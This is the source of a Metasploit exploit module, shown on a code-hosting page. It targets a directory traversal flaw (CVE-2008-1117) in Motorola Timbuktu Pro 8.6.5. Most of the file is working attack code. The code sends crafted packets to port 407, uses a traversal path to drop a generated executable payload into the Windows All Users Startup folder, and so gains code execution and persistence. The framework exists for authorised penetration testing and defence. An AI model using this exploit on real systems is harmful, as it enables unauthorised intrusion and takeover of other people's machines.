Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/motorola/timbuktu_fileupload.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::EXE
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Timbuktu Pro Directory Traversal/File Upload',
17
'Description' => %q{
18
This module exploits a directory traversal vulnerability in Motorola's
19
Timbuktu Pro for Windows 8.6.5.
20
},
21
'Author' => [ 'MC' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2008-1117' ],
25
[ 'OSVDB', '43544' ],
26
],
27
'Privileged' => true,
28
'DefaultOptions' => {
29
'EXITFUNC' => 'process',
30
},
31
'Payload' => {
32
'Space' => 2048,
33
'DisableNops' => true,
34
'StackAdjustment' => -3500,
35
},
36
'Platform' => 'win',
37
'Targets' => [
38
[ 'Automatic', {} ],
39
],
40
'DefaultTarget' => 0,
41
'DisclosureDate' => '2008-05-10',
42
'Notes' => {
43
'Reliability' => UNKNOWN_RELIABILITY,
44
'Stability' => UNKNOWN_STABILITY,
45
'SideEffects' => UNKNOWN_SIDE_EFFECTS
46
}
47
)
48
)
49
50
register_options(
51
[
52
Opt::RPORT(407),
53
OptString.new('PATH', [ true, 'The path to place the executable.', '\\../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']),
54
]
55
)
56
end
57
58
def exploit
59
connect
60
61
exe = rand_text_alpha(8) + ".exe"
62
data = generate_payload_exe
63
64
pkt1 = "\x00\x01\x6B\x00\x00\xB0\x00\x23\x07\x22\x03\x07\xD6\x69\x6D\x3B"
65
pkt1 << "\x27\xA8\xD0\xF2\xD6\x69\x6D\x3B\x27\xA8\xD0\xF2\x00\x09\x01\x41"
66
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
67
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
68
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
69
pkt1 << "\x00\x00\x00\x00\x00\x00\x01\x97\x01\x41\x00\x00\x00\x00\x00\x00"
70
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
71
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
72
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
73
pkt1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x04\xB7\x1D"
74
pkt1 << "\xBF\x42\x00\x00\x00\x00\x7F\x00\x00\x01\x00\x00\x00\x00\x00\x00"
75
pkt1 << "\x00\x00\x00\x00\x00\x00"
76
77
pkt3 = "\xFB\x00\x00\x00\x00\x54\x45\x58\x54\x74\x74\x78\x74\xC2\x32\x94"
78
pkt3 << "\xCC\xC2\x32\x94\xD9\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00"
79
pkt3 << "\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
80
pkt3 << "\x00\x00\x00\x00\x00\x00\x00"
81
pkt3 << [datastore['PATH'].length + exe.length].pack('C') + datastore['PATH'] + exe
82
83
print_status("Connecting to #{rhost} on port #{rport}...")
84
85
sock.put(pkt1)
86
select(nil, nil, nil, 0.15)
87
88
sock.put("\xFF")
89
select(nil, nil, nil, 0.15)
90
91
sock.put(pkt3)
92
select(nil, nil, nil, 0.15)
93
94
sock.put("\xF9\x00")
95
select(nil, nil, nil, 0.15)
96
97
print_status("Sending EXE payload '#{exe}' to #{rhost}:#{rport}...")
98
sock.put("\xF8" + [data.length].pack('n') + data)
99
select(nil, nil, nil, 5)
100
101
sock.put("\xF7")
102
select(nil, nil, nil, 0.15)
103
104
sock.put("\xFA")
105
select(nil, nil, nil, 0.15)
106
107
sock.put("\xFE")
108
select(nil, nil, nil, 0.08)
109
110
print_status("Done!")
111
disconnect
112
end
113
end
114
115